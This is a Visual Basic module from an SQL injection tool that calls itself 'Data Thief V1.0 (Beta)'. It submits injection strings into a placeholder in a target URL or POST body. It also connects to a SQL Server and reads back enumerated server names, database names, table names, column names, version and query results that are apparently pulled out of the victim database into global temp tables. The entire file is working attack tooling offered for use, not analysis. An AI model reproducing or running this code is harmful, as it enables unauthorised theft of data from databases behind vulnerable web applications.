Attribute VB_Name = "Main"
Option Explicit
Const USER_AGENT = "Data Thief V1.0 (Beta)"

Dim Con As New ADODB.Connection

'Open the url submiting the data
Public Sub OpenUrl(Url As String, Method As String, PostData As String)
Dim HttpParser As New XMLHTTP

    Url = Replace(Url, " ", "%20")
    If Method = "GET" Then
        HttpParser.open Method, Url, False
        HttpParser.setRequestHeader "User-Agent", USER_AGENT
        HttpParser.send
    Else
        PostData = Replace(PostData, " ", "%20")
        HttpParser.open Method, Url, False
        HttpParser.setRequestHeader "User-Agent", USER_AGENT
        HttpParser.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
        HttpParser.send (PostData)
    End If
    FrmHtml.TxtHtml.Text = HttpParser.responseText
    FrmHtml.WindowState = 1
    FrmHtml.Show
    Set HttpParser = Nothing
    
End Sub

'Get the servers names from temporary table
Public Sub GetServers()
Dim Rec As New ADODB.Recordset

    Rec.ActiveConnection = Con
    Rec.open "Select name from ##Servers"
    FrmMain.LstLinkedServer.Clear
    Do While Not Rec.EOF
        FrmMain.LstLinkedServer.AddItem Rec.Fields(0)
        Rec.MoveNext
    Loop
    
    Rec.Close

End Sub

'Get the databases names from temporary table
Public Sub GetDatabases()
Dim Rec As New ADODB.Recordset

    Rec.ActiveConnection = Con
    Rec.open "Select name from ##Databases"
    FrmMain.LstDatabases.Clear
    Do While Not Rec.EOF
        FrmMain.LstDatabases.AddItem Rec.Fields(0)
        Rec.MoveNext
    Loop
    
    Rec.Close

End Sub

'Get the tables names from temporary table
Public Sub GetTables()
Dim Rec As New ADODB.Recordset

    Rec.ActiveConnection = Con
    Rec.open "Select name from ##Tables", , , adLockOptimistic
    FrmMain.LstTables.Clear
    Do While Not Rec.EOF
        FrmMain.LstTables.AddItem Rec.Fields(0)
        Rec.Delete
        Rec.MoveNext
    Loop
    Rec.Close

End Sub

'Get the fields names from temporary table
Public Sub GetFields()
Dim Rec As New ADODB.Recordset

    Rec.ActiveConnection = Con
    Rec.open "Select name from ##Fields", , , adLockOptimistic
    FrmMain.LstFields.Clear
    Do While Not Rec.EOF
        FrmMain.LstFields.AddItem Rec.Fields(0)
        Rec.Delete
        Rec.MoveNext
    Loop
    Rec.Close

End Sub

'Get the SQL Server version from temporary table
Public Sub GetVersion()
Dim Rec As New ADODB.Recordset
Dim i As Integer

    Rec.ActiveConnection = Con
    Rec.open "Select * from ##version"
    FrmMain.TxtOutput.Text = ""
    If Not Rec.EOF Then
        FrmMain.TxtOutput.Text = Rec.Fields(0).Name
        FrmMain.TxtOutput.Text = FrmMain.TxtOutput.Text + vbCrLf + vbCrLf + Rec.GetString
    End If
    Rec.Close

End Sub

'Get the results of the query from temporary table
Public Sub GetResults()
Dim Rec As New ADODB.Recordset
Dim i As Integer

    Rec.ActiveConnection = Con
    Rec.open "Select * from ##tableresults"
    FrmMain.TxtOutput.Text = ""
    For i = 0 To Rec.Fields.Count - 1
        FrmMain.TxtOutput.Text = FrmMain.TxtOutput.Text + Rec.Fields(i).Name + vbTab
    Next i
    If Not Rec.EOF Then
        FrmMain.TxtOutput.Text = FrmMain.TxtOutput.Text + vbCrLf + vbCrLf + Rec.GetString
    End If
    Rec.Close

End Sub

Public Sub Connect(Server As String, Uid As String, Pwd As String, Port As String)

    If Con = "" Then
        Con.ConnectionString = "provider=sqloledb;Network=DBMSSOCN;Address=" + Server + "," + Port + ";uid=" + Uid + ";pwd=" + Pwd + ";"
        Con.ConnectionTimeout = 10
        Con.open
    End If
    

End Sub

Public Sub Disconnect()

    If Con <> "" Then Con.Close
    Set Con = Nothing
    
End Sub

'Create temporary tables to hold the data
Public Sub CreateTables()
Dim Rec As New ADODB.Recordset

    Rec.ActiveConnection = Con
    Rec.open "if object_id('tempdb..##version') is not null drop table ##version "
    Rec.open "create table ##version (VERSION varchar(500))"
    Rec.open "if object_id('tempdb..##servers') is not null drop table ##servers "
    Rec.open "create table ##servers (name varchar(128))"
    Rec.open "if object_id('tempdb..##databases') is not null drop table ##databases "
    Rec.open "create table ##databases (name varchar(128))"
    Rec.open "if object_id('tempdb..##tables') is not null drop table ##tables "
    Rec.open "create table ##tables (name varchar(128))"
    Rec.open "if object_id('tempdb..##fields') is not null drop table ##fields "
    Rec.open "create table ##fields (name varchar(128))"

End Sub

'Create a temporary table to hold query results
Public Sub CreateTableResults(Fields As String)
Dim Rec As New ADODB.Recordset
Dim StrArray() As String
Dim Query As String
Dim i As Byte

    StrArray = Split(Fields, ",")
    Query = "create table ##tableresults ("
    If UBound(StrArray) = 0 Then
        Query = Query + StrArray(0) + " sql_variant)"
    Else
        For i = 0 To UBound(StrArray)
            'comment this if SQL Server 7
            Query = Query + StrArray(i) + " sql_variant,"
            'uncomment this if SQL Server 7
            'Query = Query + StrArray(i) + " varchar(8000),"
        Next i
        Query = Left(Query, Len(Query) - 1) + ")"
    End If
    Rec.ActiveConnection = Con
    Rec.open "if object_id('tempdb..##tableresults') is not null drop table ##tableresults "
    Rec.open Query

End Sub

'Submit data
Public Sub SubmitInjection(Url As String, Method As String, PostData As String, InjectionStr As String)
    
    If Method = "POST" Then
        PostData = Replace(PostData, "<***>", InjectionStr)
        OpenUrl Url, Method, PostData
    Else
        Url = Replace(Url, "<***>", InjectionStr)
        OpenUrl Url, Method, PostData
    End If
    
End Sub